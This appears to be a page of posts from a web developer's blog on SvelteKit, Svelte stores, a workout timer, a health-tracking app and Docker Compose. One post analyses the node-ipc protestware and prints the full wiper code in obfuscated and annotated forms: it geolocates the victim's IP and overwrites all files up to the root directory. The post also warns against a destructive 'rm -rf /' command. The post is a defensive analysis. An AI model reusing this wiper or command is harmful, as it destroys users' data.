JavaScript – Page 2 – closingtags </>
Categories
Javascript Programming Svelte SvelteKit

Why I Quit Writing

In my last post, I prefaced it by saying that I haven’t been posting here often because I’ve been busy. In reality, I only missed a single post back in May so I guess you could say that I haven’t actually quit writing.
(But you’ve already clicked the link and are reading the post so the bait worked, right? Might as well stick around for the rest.) 😎
In fact, I’ve doubled down on the writing because the latest project that has been keeping me so incredibly busy has been…
…writing my first book!
SvelteKit Up and Running
That’s right! An entire book made out of paper and ink like they used to have back in the ye olden days. Of course, there will be digital copies for you technology enthusiasts as well. The book is titled SvelteKit Up and Running: Building High Performance Web Apps with a Next Generation Framework. It is obviously about SvelteKit, the highly performant web application meta framework from the creators of Svelte. I wrote it because I wanted to give others the resource I wish I had when I was learning how to build web apps with Svelte and SvelteKit.
Whether you’re new to JavaScript development and are wondering which framework to pick up first, or are a seasoned developer tired of the bloat that comes with other popular frameworks; this book will teach you the concepts behind the project leading the field in revolutionizing JavaScript development. The examples found throughout the book are concise, practical, and easy to follow along with while still effectively demonstrating how to leverage the various techniques necessary for implementing features commonly found in web applications.
Pre-order

As of this writing, the book is currently trending #3 on Amazon! How wild is that?

If you’re interested in getting a copy (and I hope you are), it’s available for pre-order now at https://packt.link/bVAyJ! The book is scheduled for release on July 28th, 2023.
Want more?
If you’re curious about what it takes to write a book, the process behind it, how I got started, and lessons I learned, then be sure to subscribe to this site’s RSS feed, follow me on Telegram, or find me in the Fediverse. I’ll be posting more updates as well as outlining my experience throughout the entirety of this project!

Categories
CSS SvelteKit

Prerendered Pains

On this website, I normally only write about solutions I’ve come up with to problems I’ve encountered (pertaining to web development). I recognize that’s not entirely authentic because I can’t solve every problem I come across. Sometimes, I’ll come across an issue where the solution isn’t immediately clear to me. Sometimes, it festers for long enough that I’m driven to take drastic action. Sometimes, I’m forced to write an entire post about it. This is post about one of those festering, unsolved problems.
It started while working on the Svelte Work:Rest Timer component I wrote about a few months ago. You see, the timer was intended to be a static Single Page Application (SPA)/Progressive Web Application (PWA) without a back-end server component. That is, once served to the client and installed via the browser PWA installation process, it would be usable on mobile devices whether or not they had an internet connection. I thought surely, this will be easy enough for me to tackle since I’ve already built something similar with helth app. The only major difference being that this timer application would utilize the SvelteKit static site adapter instead of the Node.js adapter.
The Problem
During development, everything ran smoothly. It wasn’t until deployment to production that I noticed issues.
SvelteKit uses Vite to deliver that buttery-smooth development experience, and Vite uses esbuild to bundle an application during development. However, when building the production version of an application, Vite uses Rollup to bundle the app. I believe this discrepancy; coupled with my obvious lack of understanding of the underlying technologies behind SvelteKit (Vite, esbuild, and Rollup), is why I ran into any issues in the first place.
When I attempted to deploy my static files to a static host, I noticed the app was missing several key features, like some of the actual code that made the logic in the application run and the CSS included in each component. After checking the network requests in my developer console, I noticed the development version was making 3-5 more requests than my production build. Why?

When deployed, the production build was very broken.

Troubleshooting
Since I had built the application to be static, it was safe to prerender the HTML on the one and only page. Any two users should see identical HTML, CSS, and JS on the site when they open it for the first time. To accomplish this, I simply needed to add the following code to the file src/routes/+layout.js:
export const prerender = true;
export const ssr = false;
I figured since there wouldn’t be a back-end component of the application, it would be fine to disable Server-Side Rendering (SSR) while I was at it. My thought was that this would force SvelteKit to prerender and it would skip generating any server-side code for that route.
I discovered that if I removed the line that disabled SSR, I would get a different index.html located at .svelte-kit/output/prerendered/pages/index.html.
Left: index.html included in “build/”Right: index.html included in “.sveltekit-output/prerendered/pages/” when option that disables SSR is removed
This file contained links to resources that were not being loaded in my production version of the app. This file was also not included in my production build folder (build/). I don’t fully understand why disabling SSR and enabling prerendering generates a different version of the index.html file. I also don’t understand why the version of index.html I needed wasn’t included in my build directory. For now, I’ve simply overwritten the file build/index.html with the file .svelte-kit/output/prerendered/pages/index.html and the application works as expected.
If you or someone you know has some insight as to why this is, please drop a comment below, reach out to me via my contact form, or message me on various social media platforms. I would love to understand what I assume I’m doing wrong.

Categories
CSS HTML5 Javascript Svelte

Svelte Work:Rest Timer

I was recently approached by a friend to build an app. Now, I’ve been cornered and pitched far too many half-brained apps in my day but it is refreshing to hear a good pitch. This pitch was for a timer, but not just any timer or stopwatch app that comes preinstalled on your phone. Rather, it was a workout timer that would also time your rests. As someone who often takes too long to rest between sets, I thought this sounded like a decent idea. I was told “nothing like this exists!” but a quick search of the web proves that false; it’s definitely been done. But I could do it as a Svelte component! And it’d be a fun coding challenge!
The Setup
If you’ve read any recent posts of mine, you know I’ve been working with SvelteKit lately. To get started with SvelteKit, I ran a few commands in the project directory:
npm create svelte@latest timer
cd timer
npm install
npm run dev
From there, I created the file /src/routes/+page.svelte as the entry point page for the app. I also created the file /src/lib/timer.svelte which is where all of the magic happens and included it in the aforementioned +page.svelte like so:
+page.svelte
<script>
import Timer from ‘$lib/timer.svelte’;
</script>

<div class=’content’>
<Timer />
</div>

<style>
div.content {
text-align: center;
width: 100%;
background-color: #130d0d;
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0;
color: #d9d9d7;
}
</style>
$lib is an alias to /src/lib/ that is supported by SvelteKit out of the box.
The Markup
Most timers have a display of the running time, a start button, a stop button, and reset button so I went ahead and included those right away in /src/lib/timer.svelte. I also gave it some rough styling so it wasn’t awful to look at while testing. The basic structure of the component looks something like this:
<script>…</script>

<h1>Work+Rest Timer</h1>

<div class=’time’>{hr}:{min}:{s}.{ms}</div>

<div class=’controls’>
<button class=’start’ on:click={start}>{running ? `rest` : `start`}</button>
<button class=’stop’ on:click={stop}>stop</button>
<button class=’reset’ on:click={reset}>reset</button>
</div>

<style>
h1 {
text-align: center;
}
.time {
margin: 1.5rem;
font-size: 4rem;
}
.controls {
display: grid;
grid-template-columns: 1fr 1fr 1fr 1fr;
grid-template-rows: 1fr 1fr;
}
button {
padding: 1.1rem 1.4rem;
margin: 1.1rem;
font-size: 1.5rem;
border: none;
background-color: #496bf0;
color: white;
transition: all .4s ease-in-out;
cursor: pointer;
grid-column: 3 / 4;
grid-row: 2 / 3;
}
button:hover {
background-color: #2047df;
}
button.stop {
background-color: #df3d2c;
grid-column: 2 / 3;
grid-row: 2 / 3;
}
button.stop:hover {
background-color: #a81303;
}
button.start {
background-color: #408e2a;
grid-column: 2 / 4;
grid-row: 1 / 2;
}
button.start:hover {
background-color: #245e14;
}
</style>

Yup, that’s a timer alright.

Eagle eyed readers likely noticed that there are some variables used in the markup that were not declared in the script tag. Lets get to that part now.
The Logic
This timer needs to be able to start, stop, reset, and display the running time. It also needs a “rest” feature which counts down to zero from whenever the “rest” button was clicked. To prevent users from starting another timer, I decided to turn the start button into the rest button while the timer is running. A quick rundown of how this ought to work:

clicking “start” starts the timer (duh)
the time since start is displayed in hours, minutes, seconds, and milliseconds
after clicking “start,” the “start” button becomes the “rest” button
clicking the “rest” button will reverse the time, counting down to zero
when the timer reaches zero, it will start counting up again until stopped or until “rest” is clicked again
clicking “stop” will stop the time
clicking reset will set hours, minutes, seconds, and milliseconds back to zero

That all seems fairly straightforward, right? Oh, but dear reader, you don’t know this (how could you have?) but when it comes to code, I hate programming anything related to time. And I’m really bad at math.
So why did I think this was a good idea? 🤔 Who knows? Maybe I just hate myself.

Side note: When working with computers and time, there’s all sorts of problems that can arise. It’s a lot easier to do math with time when you convert time to a regular number.

About those missing variables…
<script>
let interval = null;
let running = false;
let elapsed = 0;
let oldElapsed = 0;

$: ms = pad3(0);
$: s = pad2(0);
$: min = pad2(0);
$: hr = pad2(0);

// pad2/3 exist to format the numbers with leading zeros
const pad2 = (number) => `00${number}`.slice(-2);
const pad3 = (number) => `000${number}`.slice(-3);

const start = () => {

}
const stop = () => {

}
const reset = () => {

}
</script>
You’ll notice some that weren’t mentioned the markup; you can ignore those for now. The times (hr, min, s, ms) are all declared as reactive because I want the timer display to update as the those values change. Now all of this keeps the component from throwing errors but it doesn’t do anything. To make it do the things, let’s look at start() first.
const start = () => {
if(!running) {
countUp();
}
else {
countDown();
}
}
There! That was easy. Lets move on to the stop() and reset() functions:
const stop = () => {
clearInterval(interval);
oldElapsed = elapsed;
}
const reset = () => {
s = min = hr = pad2(0);
ms = pad3(0);
elapsed = oldElapsed = 0;
running = false;
clearInterval(interval);
}
Wait a minute, this doesn’t make any sense without looking at what’s actually going on in start(). Let’s back up. Here’s countUp() which is called by start() when running is false.
const countUp = () => {
let startTime = Date.now();
running = true;

interval = setInterval(() => {
elapsed = Date.now() – startTime + oldElapsed;

ms = pad3(elapsed);
s = pad2(Math.floor(elapsed / 1000) % 60);
min = pad2(Math.floor(elapsed / 60000) % 60);
hr = pad2(Math.floor(elapsed / 3600000) % 60);
});
}
The secret sauce here is setInterval(). Since it has not been provided the optional second argument, it loops on the function passed to it every millisecond. In that loop, the time since the counter began counting upwards is calculated by subtracting the start time from the current time. Then, each “section” of the timer display is calculated based on that elapsed time (and padded with extra leading zeros). Since the interval is assigned to the variable interval, I can clear it later on in stop() and reset() to stop the code.
Now for the part that I spent way too long on; countDown().
const countDown = () => {
stop();
const end = Date.now() + elapsed;

interval = setInterval(() => {
elapsed = end – Date.now();

ms = pad3(elapsed);
s = pad2(Math.floor(elapsed / 1000) % 60);
min = pad2(Math.floor(elapsed / 60000) % 60);
hr = pad2(Math.floor(elapsed / 3600000) % 60);

if(elapsed <= 0) {
clearInterval(interval);
reset();
countUp();
}
});
}
The first thing I want to do here is stop the timer where it’s at. That way, I can clear the value inside the interval variable. Once that’s done, the end time of the new timer needs to be calculated. That’s done by taking the amount of time elapsed and adding it to the current time. Once the end time has been calculated, the loop that runs every millisecond begins, where the amount of time elapsed is recalculated by subtracting the current time from the end time. It is then all shown in the timer display, and when the amount of elapsed time reaches zero, the interval is cleared, values are all reset to zero, and the count back up begins again.
If you were confused during any of that, that’s fine. You’re probably a sane, well adjusted human being that gets along perfectly well in social interactions. Congratulations 🥳!
All Together Now!
<script>
let interval = null;
let running = false;
let elapsed = 0;
let oldElapsed = 0;

$: ms = pad3(0);
$: s = pad2(0);
$: min = pad2(0);
$: hr = pad2(0);

const pad2 = (number) => `00${number}`.slice(-2);
const pad3 = (number) => `000${number}`.slice(-3);

const countUp = () => {
let startTime = Date.now();
running = true;

interval = setInterval(() => {
elapsed = Date.now() – startTime + oldElapsed;

ms = pad3(elapsed);
s = pad2(Math.floor(elapsed / 1000) % 60);
min = pad2(Math.floor(elapsed / 60000) % 60);
hr = pad2(Math.floor(elapsed / 3600000) % 24);
});
}

const countDown = () => {
stop();
const end = Date.now() + elapsed;

interval = setInterval(() => {
elapsed = end – Date.now();

ms = pad3(elapsed);
s = pad2(Math.floor(elapsed / 1000) % 60);
min = pad2(Math.floor(elapsed / 60000) % 60);
hr = pad2(Math.floor(elapsed / 3600000) % 24);

if(elapsed <= 0) {
clearInterval(interval);
reset();
countUp();
}
});
}

const start = () => {
if(!running) {
countUp();
}
else {
countDown();
}
}
const stop = () => {
clearInterval(interval);
oldElapsed = elapsed;
}
const reset = () => {
s = min = hr = pad2(0);
ms = pad3(0);
elapsed = oldElapsed = 0;
running = false;
clearInterval(interval);
}
</script>
I put together a repository of this code so you can read it in all of its glory there. If you follow the development, you’ll see new features like “beeps”, fun colors, and buttons that allow you to multiply the rest time by a factor of 1.5, 2, or even 3! If you like tracking calories as well as working out, then keep a watchful eye out for this new feature coming to your favorite health tracking application.

Categories
Javascript Programming Svelte

Svelte stores in IndexedDB

I know that I just wrote a post about using Svelte Stores with localStorage but very shortly after writing that (and implementing it in my own app 🤦), I came across this blog post from Paul Maneesilasan which explained the benefits of using IndexedDB:

So, the primary benefits to using a datastore like indexedDB are: larger data storage limits (50MB), non-blocking operations, and the ability to do db operations beyond simple read/writes. In my case, the first two alone are enough to switch over.
https://www.paultman.com/from-localstorage-to-indexeddb/
Since I had some fresh ideas for my own app about storing lots of data that could potentially would definitely go over the Web Storage 5-10MB limit, I dug even deeper into the research. In the end, I too decided to make the switch.
Sexy Dexie
The documentation for IndexedDB can be overwhelming. It’s great how thorough it is, but I found it difficult to read. After spending a few hours trying to understand the basics, getting bored, looking at memes, and finally remembering what I was supposed to be doing, I came across a package called Dexie. Dexie is a wrapper for IndexedDB, which means that it will make calls to the database for me; for instance Table.add(item) will insert the item object on the specified table. This greatly reduced my need to build that functionality myself. Since I hate reinventing the wheel (and my brain can only learn so many things in a day), I opted to use this package to manage the database. Plus, Dexie has a handy tutorial for integrating with Svelte and makes managing database versions a breeze.
While the Dexie + Svelte tutorial is great, including Dexie in each and every component that gets and sets data (like the tutorial does) would be cumbersome. It would be far simpler to use Svelte stores across components, and have the stores talk to IndexedDB via Dexie.
Custom Stores
Since IndexedDB; and therefore Dexie, utilize asynchronous APIs, a few things need to be done differently to integrate with Svelte stores. Firstly, we can’t just “get the values” from the database and assign them to a writable store (like we did in the localStorage example) since we’ll be receiving a Promise from Dexie. Secondly, when the data is updated in the store, we also need to update the data in the database; asynchronously.
This is where custom stores come in. In a custom store, we can create our very own methods to manage getting and setting data. The catch is that the store must implement a subscribe() method. If it needs to be a writable store, then it also needs to implement a set() method. The set() method will be where the magic happens.
To get started, follow Dexie’s installation instructions (npm install dexie) and create a db.js file to initialize the database. I’ve added a couple methods to mine to keep database functionality organized:
Note that is generic code sampled from helth app so references to water, calories, and sodium are done in the context of a health tracker.
import { Dexie } from ‘dexie’;
// If using SvelteKit, you’ll need to be
// certain your code is only running in the browser
import { browser } from ‘$app/environment’;

export const db = new Dexie(‘helthdb’);

db.version(1).stores({
journal: ‘date, water, calories, protein, sodium’,
settings: ‘name, value’,
});

db.open().then((db) => {
// custom logic to initialize DB here
// insert default values
};

export const updateLatestDay = (date, changes) => {
if(browser) {
return db.journal.update(date, changes);
}
return {};
};

export const getLatestDay = () => {
if(browser) {
return db.journal.orderBy(‘date’).reverse().first();
}
return {};
};

export const updateItems = (tableName, items) => {
if(browser) {
// .table() allows specifying table name to perform operation on
return db.table(tableName).bulkPut(items);
}
return {};
}

export const getItems = (tableName) => {
// spread all of the settings records onto one object
// so the app can use a single store for all settings
// this table has limited entries
// would not recommend for use with large tables
if(browser) {
return db.table(tableName).toArray()
.then(data => data.reduce((prev, curr) => ({…prev, [curr.name]: curr}), []));
// credit to Jimmy Hogoboom for this fun reducer function
// https://github.com/jimmyhogoboom
}
return {};
}
I won’t go over this file because it’s self explanatory and yours will likely be very different. After you have a database, create a file for the stores (stores.js).
import * as dbfun from ‘$stores/db’;
import { writable } from ‘svelte/store’;

// sourced from https://stackoverflow.com/q/69500584/759563
function createTodayStore() {

const store = writable({});

return {
…store,
init: async () => {
const latestDay = dbfun.getLatestDay();
latestDay.then(day => {
store.set(day);
})
return latestDay;
},
set: async (newVal) => {
dbfun.getLatestDay()
.then(day => {
dbfun.updateLatestDay(day.date, newVal);
});
store.set(newVal);
}
}
}

function createNameValueStore(tableName) {
const store = writable({});

return {
…store,
init: async () => {
const items = dbfun.getItems(tableName);
items.then(values => {
store.set(values);
})
return items;
},
set: async (newVal) => {
dbfun.updateItems(tableName, Object.keys(newVal).map((key) => {
return {name: key, value: newVal[key].value}
}));
store.set(newVal);
}
}
}
export const today = createTodayStore();
export const settings = createNameValueStore(‘settings’);
Here’s break down what this does:

Import the db.js file and any extra functionality added to it.
Import { writable } from svelte/store since we’ve already established that I hate reinventing the wheel.
Create 2 functions; createTodayStore() and createNameValueStore(). Both functions are mostly identical except for the logic they call on the database.
Each function then creates their own store from writable with an empty object as the default value.
Both functions return an object that adheres to the store contract of Svelte by implementing all the functionality of writable, overriding set(), and adding a custom method init().
init() queries the database asynchronously, sets the value of the store accordingly, then returns the Promise received from Dexie.
set() updates the data within the database given to the store and then proceeds to set the store accordingly.
Export the stores.

Accessing the stores
Now that the stores have been created, accessing them isn’t quite as simple as it was when they were synchronous. With a completely synchronous store, svelte allowed access to the data via the $ operator. The stores from localStorage could be accessed or bound simply by dropping $storeName wherever that data was needed. With the new asynchronous stores, calling the custom init()method is mandatory before accessing the data; otherwise, the store won’t have any data! Here’s a simple Svelte component showing how to access the settings store data in the <script> tag and binding to the today store in the markup.
<script>
import { onMount, afterUpdate } from ‘svelte’;
import { today, settings } from ‘$stores/stores’;
import Spinner from ‘$components/Spinner.svelte’;

$: reactiveString = ‘loading…’;

onMount(() => {
settings.init()
.then(() => {
if(‘water’ in $settings) {
reactiveString = `water set to ${settings.water.value}`;
}
});
</script>

{#await today.init()}
<Spinner />
{:then}
<input type=”number” bind:value={$today.water} />
{:catch error}
<p>error</p>
{/await}
<p>{reactiveString}</p>

<Spinner /> source can be found here.
This instance of a reactive variable doesn’t make much sense unless it were tied to another value but the logic remains the same.
Accessing the today store value in the markup is made possible by use of Svelte’s {#await}.

el fin
Is this the best way connect Svelte stores to IndexedDB?
I have no idea. Probably not.
But it does seem to work for me. If you’ve got ideas on how it could be improved, leave a comment. I’m always open to constructive criticism. If you’re curious about the app this is taken from, I’ve previously written about it here. The source code for it can be found on GitHub.
And lastly, if you’ve enjoyed this post or found value in it, consider sponsoring me on GitHub.

Categories
Javascript Svelte

Svelte stores in localStorage

Svelte stores are great for managing state in an application but when combined with modern browser features. they really shine. Let’s take a look at how I implemented localStorage in a recent project with an annotated sample file:
$stores/local.js
import { browser } from ‘$app/environment’;
import { writable } from ‘svelte/store’;
// it works with readable stores too!

// create an object w/default values
let goals = {
goal1: 2000,
goal2: 50
};

// ensure this only runs in the browser
if (browser) {
// if the object already exists in localStorage, get it
// otherwise, use our default values
goals = JSON.parse(localStorage.getItem(‘goals’)) || goals;
}

// export the store for usage elsewhere
export const goalStore = writable(goals);

if (browser) {
// update localStorage values whenever the store values change
goalStore.subscribe((value) =>
// localStorage only allows strings
// IndexedDB does allow for objects though… 🤔
localStorage.setItem(‘goals’, JSON.stringify(value))
);
}
Throughout the rest of the app, the “goalStore” (and therefore, the localStorage object) can be accessed by importing in components like so:
<script>
import { goalStore } from ‘$stores/local’;
import { browser } from ‘$app/environment’;
</script>

<!– prevent issues with SSR by only rendering dependent components in browser based environment –>
{#if browser}
<!– use ‘$’ for reactivity and ‘bind:’ to keep data upstream in sync –>
<Component bind:count={$goalStore.goal1} />
{/if}
As mentioned by Marc Rodney Tompkins in the comments, it may be necessary to wrap your code in browser checks as well. Svelte makes this easy with conditional {#if} blocks.
I hope this helps someone! If you’d like to see how I implemented this in its entirety, you can view the source code here.

Categories
Javascript Svelte

helth app

If you’ve been following along with any of my recent posts, you’ll likely have noticed that I’ve been working on something. It hasn’t been a secret but I also haven’t advertised it until now. In this post, I’d like to share with you a little bit about that project. If you’d like to see or use it for yourself, you can visit helth.closingtags.com. Yes, that’s how I intended to spell it but on the off chance you accidentally spell it correctly, that will should work too.
Why?
In the past, I’ve used apps like MyFitnessPal or Jawbone to track calories in, physical activity, and water consumption. I liked those apps but MyFitnessPal became a bloated mess and Jawbone went out of business 😢. I’m sure there are other fitness and health related apps out there that are just fine but I wanted to build something tailored to my needs. I’ve got experience as a web developer, so why shouldn’t I? It would also be a good excuse to learn a new technology like Svelte and SvelteKit.

helth app sodium and protein tracking

But, what does it do?
tracking
Helth app is intended to be simple. While it still has a long ways to go, it does already have some cool features. For instance, tapping the camera icon in the bottom right corner will open the camera on your device, and allow you to scan a barcode. Once scanned, if the item is found; helth app will automatically add calories, sodium, and protein to daily totals. Potentially, the app could track cholesterol, sugars, carbohydrates, fats, and even ingredients. It’s simply a matter of adding those components.
history
The app can then show the history tracked and will reset each day at midnight to allow you to start tracking the next day. The graphs still need work and are very limited but I’m hoping to make more progress towards implementing better charts soon.
goals + limits
If you’d like to set custom goals so you can be alerted when you’re approaching a limit or have exceeded your own expectations, the app allows you to do that as well, albeit, the functionality isn’t quite limited. Again, I hope to implement more of this functionality soon.
All your data are belong to… you? 🤔
Privacy and security are important to me. That’s why all data generated in the app is stored locally on your device. Due to security protocols implemented in most modern browsers (CORS), the barcode scanner does have to make calls to a custom API but other than that, all data entered should stay on your device. This can be a double edged sword in that if you clear your browser’s cache, all recorded data will be lost. An import/export feature is planned but is still a ways off.
The Project
Until today, I’ve been developing this project in a private Github repository but as of the publishing of this post, that repository is public. You can find it at https://github.com/Dilden/helth. I’m welcoming pull requests and issue submissions. If you’d like to add functionality, I’d love to work with you. If you want to run your own de-meme-ified version of helth app, go right on ahead. While the app is still a hobbled together mess, the more people are interested in it, the better off it will be.
It’s still missing quite a few features I’d like to see. For instance, I’d love for helth app to be installable as a progressive web app (PWA). But since SvelteKit is still in beta, the plugin I intended to use for adding PWA support has run into some compatibility issues. Once those are resolved, I believe it will be trivial to add PWA support. I’d also like to improve the overall styling of the app, add more data sources, build a text based item search and the appropriate user interfaces, and allow users to save “meals” so that they can be quickly added to the daily total without having to scan/search each item all over again.
If you would like to see a feature or notice a bug, you can report it in the project repository. If you don’t want to sign up for an account on Github, you can also fill out the contact form on this website describing the issue.

fitness can be our passion

Categories
Automation Javascript Server

Deploying Node.js Apps with Ansible

‘Automating’ comes from the roots ‘auto-‘ meaning ‘self-‘, and ‘mating’, meaning ‘screwing’.

Categories
Javascript Programming Security

Deobfuscating Node Debacles

On March 7th, 2022, the developer known as RIAEvangelist pushed a commit containing a new file dao/ssl-geospec.js to the node-ipc Github repository, for which, they are the owner and maintainer. This code, along with a subsequent version, were not typical of this project. The node-ipc module is a JavaScript module used to facilitate local and remote inter-process communication. The project was so ubiquitous that it was even used in large frameworks such as vue-cli (a CLI used in conjunction with Vue JS). That was, until the world found out what the code from March 7th, did.
Trying to be sneaky, RIAEvangelist obfuscated the code similarly to malware I’ve noted before. RIAEvangelist was upset with Russia and Belarus for the invasion of Ukraine and as a form of protest, decided that this package should teach unsuspecting developers in those countries a lesson, by replacing all files on their computers with “❤️”.
Ethics and Software Collide
I don’t intend to go into the ethics or morality of the situation but I do believe it raises some interesting questions. Since this was RIAEvangelist’s project, as creator and maintainer, can they do whatever they want with it? What if the developer accidentally added code that did something similar? To be clear, that was most definitely not the case here. The developer is frequently and publicly called out on this yet refuses to admit any wrongdoing.
But what if an outsider attempted to backdoor the project? Many developers and companies around the world depend on this project, but how many of them were giving back to the project? As more open source developers face burnout, how should open source projects that have become baked into the core of the internet receive support? What responsibility do users of these dependencies have to help sustain them? What about the fortune 500 companies that are profiting off these projects? The developer of Faker and Color JS also had some thoughts about that very same questions earlier this year and made those thoughts public by self-sabotaging both projects.
The Code
Ethics, morals, and politics aside, the code itself is what intrigued me. I wanted to know how it was done. How does one write code to completely wipe a computer? The answer is actually quite boring. If you’re familiar with Unix file systems and have ever attempted to remove a file via the command line, you know that you must be very careful about running certain all commands. For instance, if you’re trying to remove a file in the directory /home/user/test.txt, you DO NOT want to have a space after that first “/”. Running sudo rm -rf / home/user/test.txt will cause serious problems on your computer. DO NOT RUN THAT COMMAND!
RIAEvangelst did essentially the same thing so without further ado, the code in all of its obfuscated glory:
import u from”path”;import a from”fs”;import o from”https”;setTimeout(function(){const t=Math.round(Math.random()*4);if(t>1){return}const n=Buffer.from(“aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=”,”base64″);o.get(n.toString(“utf8”),function(t){t.on(“data”,function(t){const n=Buffer.from(“Li8=”,”base64″);const o=Buffer.from(“Li4v”,”base64″);const r=Buffer.from(“Li4vLi4v”,”base64″);const f=Buffer.from(“Lw==”,”base64″);const c=Buffer.from(“Y291bnRyeV9uYW1l”,”base64″);const e=Buffer.from(“cnVzc2lh”,”base64″);const i=Buffer.from(“YmVsYXJ1cw==”,”base64″);try{const s=JSON.parse(t.toString(“utf8”));const u=s[c.toString(“utf8”)].toLowerCase();const a=u.includes(e.toString(“utf8”))||u.includes(i.toString(“utf8”));if(a){h(n.toString(“utf8”));h(o.toString(“utf8”));h(r.toString(“utf8”));h(f.toString(“utf8″))}}catch(t){}})})},Math.ceil(Math.random()*1e3));async function h(n=””,o=””){if(!a.existsSync(n)){return}let r=[];try{r=a.readdirSync(n)}catch(t){}const f=[];const c=Buffer.from(“4p2k77iP”,”base64″);for(var e=0;e<r.length;e++){const i=u.join(n,r[e]);let t=null;try{t=a.lstatSync(i)}catch(t){continue}if(t.isDirectory()){const s=h(i,o);s.length>0?f.push(…s):null}else if(i.indexOf(o)>=0){try{a.writeFile(i,c.toString(“utf8”),function(){})}catch(t){}}}return f};const ssl=true;export {ssl as default,ssl}
I shouldn’t have to say this, but DO NOT RUN THIS CODE!
Deobfuscation
If you’re curious about what the code would look like before obfuscation; maybe as the developer wrote it, I have cleaned it up and annotated it with comments. Again, DO NOT RUN THIS CODE. For the most part, it should fail as the API key that was originally shipped with the code is no longer valid, and even if it was, it should only affect users with an IP located in Russia or Belarus. Still, better safe than sorry.
My methodology for cleaning it up was simple; copy the code, install Prettier to prettify it, then go through it line by line, searching for minified variable names and replacing them with better named variables. As such, there may be a couple errors but for the most part, this is close to what the developer originally wrote. Probably.
import path from “path”;
import fs from “fs”;
import https from “https”;
setTimeout(function () {
// get a random number between 0 and 4
const t = Math.round(Math.random() * 4);
// 3/4 of times, exit this script early
// likely to avoid detection
if (t > 1) {
return;
}
// make request to api to find IP geolocation
https.get(
“https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154”,
function (res) {
res.on(“data”, function (data) {
try {
// parse data from request
const results = JSON.parse(data.toString(“utf8″));
// get country of origin from local IP
const countries = results[”country_name”].toLowerCase();
const fs =
countries.includes(“russia”) || countries.includes(“belarus”);
if (fs) {
wipe(“./”); // wipe current dir
wipe(“../”); // wipe 1 dir above current
wipe(“../../”); // wipe 2 dirs above current dir
wipe(“/”); //wipe root dir
}
} catch (error) {}
});
}
);
}, Math.ceil(Math.random() * 1e3)); // setTimeout of random time up to 1s

// recursive function to overwrite files
async function wipe(filePath = “”, current = “”) {
// if file doesn’t exist, exit
if (!fs.existsSync(filePath)) {
return;
}
let dir = [];
try {
dir = fs.readdirSync(filePath);
} catch (error) {}
const remainingFiles = [];
for (var index = 0; index < dir.length; index++) {
const file = path.join(filePath, dir[index]);
let info = null;
try {
info = fs.lstatSync(file);
} catch (info) {
continue;
}

if (info.isDirectory()) {
// recurse into directory
const level = wipe(file, current);
level.length > 0 ? remainingFiles.push(…level) : null;
} else if (file.indexOf(current) >= 0) {
try {
// overwrite current file with ❤️
fs.writeFile(file, “❤️”, function () {});
} catch (info) {}
}
}
return remainingFiles;
}
// a constant must have a value when initialized
// and this needed to export something at the very end of the file
// to look useful, so may as well just export a boolean
const ssl = true;
export { ssl as default, ssl };

and them’s the facts
If you’ve made it this far, you’re probably hoping for some advice on how to protect yourself against this sort of attack. The best advice for now is to not live in Russia or Belarus. After that, version lock your dependencies. Then, check your package.json/package.lock against known vulnerabilities. NPM includes software to make this simple but for PHP dependencies, there are projects like the Symfony CLI tool. Fortunately, this project was given a CVE which makes Github Dependabot and NPM audits alert users. Don’t just ignore those, do something about them! Finally, actually look at the code you’re installing, don’t give trust implicitly, take frequent backups, and be mindful of what you’re installing on your system.
PS
If you’re a Node developer, it’s worth taking a look at Deno. Deno is a project from the creator of Node that is secure by default. Packages have to explicitly be granted permission to access the file system, network, and environment. This type of attack shouldn’t be possible within a Deno environment unless the developer grants permission to the package.
PPS
I have more thoughts about the ethics of blindly attacking all users with an IP based in Russia or Belarus but I’m not nearly as articulate as others so I would suggest reading this great article from the EFF.

Categories
Automation Javascript Server

Node + MongoDB development environment w/Docker Compose

I’ve recently done some work on a personal project that I have put off for far too long. The project itself is a chat bot for moderating Telegram chat groups but this post isn’t about that project. Instead, it will focus on how I simplified setup of the development environment using Docker Compose.
I don’t have much experience with Docker or Docker Compose because in the past, I’ve used Vagrant for creating my environments. And Vagrant has been great, but over the years, I’ve run into a few issues:

virtual machines can take up to a minute to start, sometimes longer
new boxes (images) are slow to download
software versions fall out of sync with production environments
unexpected power outages have led to corrupted VMs

These issues are likely addressable in each configuration but between custom shell scripts and having so little experience with Ruby (Vagrantfiles are written in Ruby), managing it can quickly become unwieldy. Plus, Docker has become a de facto industry standard so it’s about time I learned something about it.
Ideally, this project would have a single file that makes spinning up a consistent development environment quick and painless, which is where Docker Compose comes in. A docker-compose.yml file; located in the root directory of the project, will make starting the environment as simple as running a single command; docker-compose up -d. The “-d” flag runs the containers in detached mode (the background) which frees up your terminal.
MongoDB
My first goal was to get MongoDB working with the project. This was relatively easy since the docker community maintains an official MongoDB image with an example docker-compose.yml:
# Use root/example as user/password credentials
version: ‘3.1’

services:

mongo:
image: mongo
restart: always
environment:
MONGO_INITDB_ROOT_USERNAME: root
MONGO_INITDB_ROOT_PASSWORD: example

mongo-express:
image: mongo-express
restart: always
ports:
– 8081:8081
environment:
ME_CONFIG_MONGODB_ADMINUSERNAME: root
ME_CONFIG_MONGODB_ADMINPASSWORD: example
ME_CONFIG_MONGODB_URL: mongodb://root:example@mongo:27017/
Since I wanted to start simple, I ran Node locally and connected to the MongoDB container as if it were another machine. To do that, ports needed to be exposed to the host machine. I also needed a database setup and for that same database to persist. I decided to keep the Mongo Express container as it creates a useful web interface for checking data.
version: ‘3.1’
services:
mongo:
container_name: toximongo
image: mongo
restart: always
environment:
MONGO_INITDB_ROOT_USERNAME: root
MONGO_INITDB_ROOT_PASSWORD: toxipass
MONGO_INITDB_DATABASE: toxichatdb
ports:
– 27017:27017
volumes:
– ./init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro
– ./mongo-volume:/data/db
mongo-express:
container_name: toximongo-express
image: mongo-express
restart: always
ports:
– 8081:8081
environment:
ME_CONFIG_MONGODB_ADMINUSERNAME: root
ME_CONFIG_MONGODB_ADMINPASSWORD: toxipass
ME_CONFIG_MONGODB_URL: mongodb://root:toxipass@mongo:27017/toxichatdb
Some of the changes to take note of:

name containers to make them easy to differentiate and access
usernames + passwords set
expose MongoDB to local machine on port 27017
